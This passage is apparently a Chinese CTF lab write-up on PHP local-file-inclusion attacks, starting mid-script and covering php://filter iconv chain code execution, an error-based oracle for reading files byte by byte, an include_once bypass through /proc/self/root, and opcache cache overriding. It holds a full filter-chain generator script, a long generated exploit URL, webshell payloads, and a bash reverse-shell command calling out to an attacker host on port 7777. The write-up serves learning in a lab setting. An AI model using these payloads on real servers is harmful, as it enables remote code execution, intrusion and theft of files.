Ctrl+C 退出' ) try : while True : time.sleep(1 ) except KeyboardInterrupt: print ('退出' )
注意使用这个脚本的时候要修改里面的路径,变量名啥的,根据自己的实际情况哦(终于写好了,有些文章里面的脚本是执行不了的,大概率是线程不够的原因,我稍加修改得到此脚本)
如果还是不行的话,就猛猛加线程
THE_END_OF_LFI session文件包含结束!接下迎来的是THE_END_OF_LFI
何为THE_END_OF_LFI
1 利用 php://filter 链(尤其是 iconv + base64-decode)实现无文件、无写入的远程代码执行(RCE)
非传统的文件包含漏洞,这个是无文件无写入的,利用php://filter的逆天操作
来到环境phpinclude-labs-main-level_16-1
1 2 3 4 5 <?php ($_GET ['action' ] ?? 'read' ) === 'read' ? readfile ($_GET ['file' ] ?? 'index.php' ) : include_once ($_GET ['file' ] ?? 'index.php' );highlight_file (__FILE__ );?>
题目的逻辑不难
使用php://filter包含flag即可
但是这个题目的优雅点不在这里,优雅点是可以执行
当然不是这样的命令执行
1 2 3 4 import requests url = 'http://192.168.8.133:8119/' r = requests.post(url,params={'file' :'php://filter/convert.base64-decode/resource=php://input' ,'action' :'1' },data='PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/Pg==' )print (r.text)
不过没有事,就算你想到了这个如果我的配置是allow_url_include = Off呢?完犊子了怎么办呢
接下来开始操作
因为readfile不能执行文件的代码,include_once可以
所以action要设置为空
1 2 3 4 5 6 7 8 9 10 11 12 这个是下面这个脚本可以做到的 你的代码: <?php system ('id' ); ?> ↓ base64编码 Base64: PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg== ↓ 经过多次 iconv 字符集转换 ↓ 每次转换都会改变数据 ↓ 最后一步 base64-decode ↓ 原始PHP代码重现 ↓include () 执行它
为什么要反复转化
因为
没有文件依赖:不需要服务器上存在任何文件
内存中执行:使用 php://temp 或 php://memory,所有操作在内存中完成
脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 import argparseimport base64import re file_to_use = "php://temp" conversions = { '0' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2' , '1' : 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4' , '2' : 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921' , '3' : 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE' , '4' : 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE' , '5' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2' , '6' : 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2' , '7' : 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4' , '8' : 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2' , '9' : 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB' , 'A' : 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213' , 'a' : 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE' , 'B' : 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000' , 'b' : 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE' , 'C' : 'convert.iconv.UTF8.CSISO2022KR' , 'c' : 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2' , 'D' : 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213' , 'd' : 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5' , 'E' : 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT' , 'e' : 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937' , 'F' : 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB' , 'f' : 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213' , 'g' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8' , 'G' : 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90' , 'H' : 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213' , 'h' : 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE' , 'I' : 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213' , 'i' : 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000' , 'J' : 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4' , 'j' : 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16' , 'K' : 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE' , 'k' : 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2' , 'L' : 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC' , 'l' : 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE' , 'M' :'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T' , 'm' :'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949' , 'N' : 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4' , 'n' : 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61' , 'O' : 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775' , 'o' : 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE' , 'P' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB' , 'p' : 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4' , 'q' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2' , 'Q' : 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2' , 'R' : 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4' , 'r' : 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101' , 'S' : 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS' , 's' : 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90' , 'T' : 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103' , 't' : 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS' , 'U' : 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943' , 'u' : 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61' , 'V' : 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB' , 'v' : 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2' , 'W' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936' , 'w' : 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE' , 'X' : 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932' , 'x' : 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS' , 'Y' : 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361' , 'y' : 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT' , 'Z' : 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16' , 'z' : 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937' , '/' : 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4' , '+' : 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157' , '=' : '' }def generate_filter_chain (chain, debug_base64 = False ): encoded_chain = chain filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" for c in encoded_chain[::-1 ]: filters += conversions[c] + "|" filters += "convert.base64-decode|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" if not debug_base64: filters += "convert.base64-decode" final_payload = f"php://filter/{filters} /resource={file_to_use} " return final_payloaddef main (): parser = argparse.ArgumentParser(description="PHP filter chain generator." ) parser.add_argument("--chain" , help ="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)" , required=False ) parser.add_argument("--rawbase64" , help ="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug." , required=False ) args = parser.parse_args() if args.chain is not None : chain = args.chain.encode('utf-8' ) base64_value = base64.b64encode(chain).decode('utf-8' ).replace("=" , "" ) chain = generate_filter_chain(base64_value) print ("[+] The following gadget chain will generate the following code : {} (base64 value: {})" .format (args.chain, base64_value)) print (chain) if args.rawbase64 is not None : rawbase64 = args.rawbase64.replace("=" , "" ) match = re.search("^([A-Za-z0-9+/])*$" , rawbase64) if (match ): chain = generate_filter_chain(rawbase64, True ) print (chain) else : print ("[-] Base64 string required." ) exit(1 )if __name__ == "__main__" : main()
使用方法
1 python 1.py --chain "<?php system('cat /flag'); ?>"
然后保存一下输出的内容
在URL里面提交
大家可以看看输出的内容是啥,我就在python代码里面展示了
1 2 3 4 import requests url = 'http://192.168.8.133:8119/' r = requests.get(url,params={'file' :'php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp' ,'action' :'1' })print (r.text)
尝试bash反弹和webshell
1 2 3 4 python 1.py --chain "<?php system('bash -i >& /dev/tcp/192.168.8.140/7777 0>&1'); ?>" python3 filter_chain.py --chain "<?php system($_REQUEST ['cmd']); ?>" python3 filter_chain.py --chain "<?php eval($_GET ['cmd']); ?>" python3 filter_chain.py --chain "<?php assert($_GET ['cmd']); ?>"
不行
使用反弹shell显示的是get传输的内容太长了
使用webshell显示的是收到的cmd参数是数组报错
现在暂时知道的是因为这个脚本的反复转化的编码导致的[]使用起来有问题,但是因为这个是get传输,所以使用
1 2 python3 1.py --chain "<?php file_put_contents('s.php', '<?php system(\$_GET[\"c\"]); ?>'); ?>"
太长了,也不行,显示的错误还是get太长了
难道只能执行单个命令吗,是一个未知数
注意注意这个脚本只适合get传入file参数的时候才能成功
错误信息逐字节读取 环境:phpinclude_lab:level_17
利用PHP错误信息逐字节读取文件
服务端的代码
1 2 3 4 5 6 7 <?php include ("get_flag.php" );file ($_POST ['file' ]);highlight_file (__FILE__ );?>
file(文件路径)函数
作用:读取一个文件的所有内容,按行拆分成数组。但是值得注意的是这个是没有回显的,没有输出函数
1 2 3 <?php print_r (file ('3.php' ));?>
可以使用这个代码了解一下file函数
所以现在我们遇到的这个题目情况是
1 2 3 4 5 无法直接访问(没有回显) 无法执行系统命令(system 被禁用) 只能通过 file ($ _POST['file' ]) 或 include($ _GET['file' ]) 传入参数
还是使用脚本,脚本等下给出来
先介绍一种思路
第1步:PHP Filter 链可以处理文件
1 2 3 4 5 file ('/flag' );file ('php://filter/convert.base64-encode/resource=/flag' );
第2步:错误的 Filter 会产生不同的错误信息
1 2 3 4 5 6 7 8 file ('php://filter/convert.base64-decode/resource=/flag' );file ('php://filter/convert.iconv.UTF8.UTF7/resource=/flag' );
关键:不同的输入会导致不同长度/内容的错误信息!
第3步:通过错误差异反推文件内容
1 2 3 4 5 6 7 8 9 10 11 12 猜测第1 个字符是 'f' ↓ 构造特定 Filter 链 ↓ 发送请求 ↓ 收到错误信息长度 = 100 ↓ 猜测第1 个字符是 'g' ↓ 构造另一个 Filter 链 ↓ 发送请求 ↓ 收到错误信息长度 = 105 ← 长度不同! ↓ 判断:长度不同 = 字符不同 继续尝试,直到找到长度匹配的字符
这里有一个脚本可以实现这个
1 2 3 4 git clone https://github.com/synacktiv/php_filter_chains_oracle_exploitcd php_filter_chains_oracle_exploit python3 filters_chain_oracle_exploit.py --target http://192.168.8.133:8120/ --file '/flag' --parameter file
参数解释
1 2 3 4 5 --target http://192.168.8.133 :8120 / 目标网站的URL地址--file '/flag ' 想要读取的文件路径(服务器上的文件)--parameter file 漏洞参数名(用户可控的输入参数)
工作流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ┌─────────────────────────────────────────────────────────┐ │ 1 . 目标:读取 /flag ,已知长度 10 字节 │ └─────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────┐ │ 2 . 开始猜测第 1 个字符 │ │ 尝试所有可能字符 (0 -9 , a-z, A-Z, 符号...) │ │ 每个字符 → 构造不同 filter → 记录错误长度 │ └─────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────┐ │ 3 . 发现字符 'f' 的错误长度与其他都不同 │ │ 确定第 1 个字符 = 'f' │ └─────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────┐ │ 4 . 重复步骤 2 -3 ,猜测第 2 , 3 , 4 ... 个字符 │ │ 每次基于已确定的正确字符继续构造 │ └─────────────────────────────────────────────────────────┘ ↓ ┌─────────────────────────────────────────────────────────┐ │ 5 . 10 个字符全部猜完,得到完整内容 │ │ 输出:flag {abc123} │ └─────────────────────────────────────────────────────────┘
脚本通过不断尝试不同的 PHP Filter 链,观察服务器返回的错误信息长度差异,像猜密码一样逐字节推断出文件内容
所以原理知道个大概就可以了,这个使用方法最大的阻碍可能只有网络问题了(手动狗头)
重复文件包含函数 众所周知require_once和include_once函数的特点是不能重复包含文件,就算你包含了被这两个函数看到也是无视
想一想会不会有什么方法是可以实现的呢?
先看到环境的代码
1 2 3 4 5 6 7 8 9 10 11 <?php include ("get_flag.php" );include_once ("flag.php" ); isset ($_GET ['file' ]) ? include_once $_GET ['file' ] : '' ;highlight_file (__FILE__ );?>
这一关我们的目的是为了包含flag.php,读取文件内容
但是这个include_once函数在面对没有php标签的时候才输出文件内容,如果是有php标签的话只能执行php代码
而且还有一个重要的是include_once函数会检测这个文件有没有被包含,如果已经被包含的话就不会再次包含了
require_once与include_once这两个函数检测文件是否已经被包含是通过路径是不是相同来检测的
所以我们怎么绕过路径是否相同呢
这里介绍linux下面的一个特殊路径
这个是什么
/proc/self 是一个符号链接,指向当前进程的PID目录
/proc/self -> /proc/12345/ # 12345是当前进程的PID
为什么要这样设计?
是因为这样可以方便的访问自己进程的信息
扩展一下可以通过
来访问自己进程当前的状态
了解之后再看
这个是什么
/proc/self这个是进程的当前的目录,那么/proc/self/root指向系统的真实根目录
这个可以知道什么,可以知道/proc/self/root就是系统的根目录!
这里再扩展一手
为什么要这样设计
1 2 3 // Docker容器中 /proc/self/root -> /var/lib/docker/overlay2/.../merged // 不是系统根目录,而是容器的根目录
每个进程可以有自己的根目录视图:
正常进程:/proc/self/root → /
chroot进程:/proc/self/root → /chroot/path
容器进程:/proc/self/root → /container/rootfs
chroot是可以自己在linux里面创建一个小的“监狱”
1 2 # 进程可以通过 /proc/self/root 访问自己的根目录 # 即使它被chroot 限制,仍然可以访问根目录内的文件
接下来回到题目
利用符号链接让路径”看起来不同”
于是我们可以使用如下payload
我遇到这个payload的时候会有一个疑问,为什么要使用这么多的/proc/self/root
因为
1 2 3 4 5 6 7 绕过机制 当 realpath() 成功时(例如只有 1 层 /proc /self/root): 真实路径被解析为 /var/www/html/flag.php,哈希表中已经存在(因为第一行 include_once("flag.php") 已经记录),所以 include_once 跳过。 当 realpath() 失败时(层数足够多):PHP 无法获得真实路径,于是直接使用用户输入的原始路径作为哈希表的 key。 这个原始路径(长长的字符串)从未出现在哈希表中,因此 include_once 会再次包含该文件,从而绕过了“一次包含”的限制。
在这段话里面的哈希表很好理解
1 2 3 4 5 6 7 8 9 10 11 12 你可以把哈希表想象成 PHP 内部的一个小本本(记录本),专门用来记“哪些文件已经被包含过了”。 记录1 : '/var/www/flag.php' => 已包含 记录2 : '/var/www/config.php' => 已包含 记录3 : 'php://filter/.../resource=xxx' => 已包含 每次你执行 include_once('某个文件' ) 时,PHP 会: 先把这个“某个文件”规范化(比如把符号链接转成真实路径,把 .. 去掉等),得到一个标准名字。 去小本本里查:这个名字有没有被记过? 如果记过 → 跳过,不再包含。 如果没记过 → 包含这个文件,然后把名字记到小本本上。
现在已经理解了为什么要有这么多的/proc/self/root
接下来解释为什么要使用php://filter/convert.base64-encode/resource=
因为如果是面对直接使用文件路径
1 /proc/self/root...../var/www/html/flag.php
的话php会直接出现解析错误,PHP 认为路径无效,直接报错,不会包含文件
但是使用过滤器php://filter/convert.base64-encode/resource=
这个是php流直接把一大串路径当作一个独一无二的标识符,从而骗过“一次包含”的检查机制
并且这样的读取文件是直接读取文件内容而不是执行文件里面的php代码
所以最终这一关的payload是
如果要对原理研究看如下文章
1 https:// www.anquanke.com/post/i d/213235
opcache缓存RCE Opcache 是 PHP 的字节码缓存扩展,通过将编译后的脚本存储在共享内存中,避免重复编译,从而大幅提升 PHP 应用性能
为了方便理解我们可以在自己的docker里面实验一下
1 2 3 4 5 docker run -itd --name php7 -p 8083:80 php:7.0-apache 进入docker容器:docker exec -it 容器id /bin/bash 安装opcache:cd /usr/local/bin && docker-php-ext-configure opcache --enable-opcache && docker-php-ext-install opcache 重启apache:cd /etc/init.d && ./apache2 restart docker start 容器id
有这个说明安装好了
1 2 3 4 5 6 7 修改一下php.ini,应用opcache:cd /usr/local/etc/php && cp php.ini-development php.ini 在主机里面 docker cp 6a4877f91730:/usr/local/etc/php/php.ini /home/ubuntu/test vim php.ini docker cp php.ini 6a4877f91730:/usr/local/etc/php/php.ini
在这里我为了更好的复现于是关闭了时间戳,大家也可以关闭一下,为了更好的复现
配置好之后重启一下
1 2 docker stop 容器id docker start 容器id
opcache原理
Opache是php中一个生成缓存文件的拓展,当我们访问一个php文件时,他会产生一个缓存文件,下次访问该php文件时,就会直接根据缓存文件回显页面,查看tmp下,已经生成了缓存文件:
我们访问一下phpinfo.php(已经在容器web目录下面写好了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 root@6a4877f91730:/var/www/html# cd /tmp root@6a4877f91730:/tmp# ls 0b8bd94e9858e5d32d058dc0acf75014 apt.conf.DuQqeb root@6a4877f91730:/tmp# ls -l total 12 drwx------ 3 www-data www-data 4096 Apr 6 08:23 0b8bd94e9858e5d32d058dc0acf75014 -rw------- 1 _apt nogroup 7495 Apr 6 08:17 apt.conf.DuQqeb root@6a4877f91730:/tmp# cd 0b8bd94e9858e5d32d058dc0acf75014 root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014# ls var root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014# cd var root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var# ls www root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var# cd www root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var/www# ls html root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var/www# cd html root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var/www/html# ls phpinfo.php.bin root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var/www/html# file phpinfo.php.bin phpinfo.php.bin: data root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var/www/html#
发现确实有bin文件
接下来就是远程代码执行RCE了
想要rce,我们就得覆盖掉生成的bin文件,首先得计算出文件夹的这个system_id,也就是8431e96e6adfc8fc75ad38a0f6a7eb4e,那么这个system_id怎么计算呢?
我们使用别人的脚本https://github.com/GoSecure/php7-opcache-override
非常的方便快捷
1 2 3 git clone https://github.com/GoSecure/php7-opcache-override.gitcd php7-opcache-override python3 system_id_scraper.py http://127.0.0.1:8083/phpinfo.php
输出结果
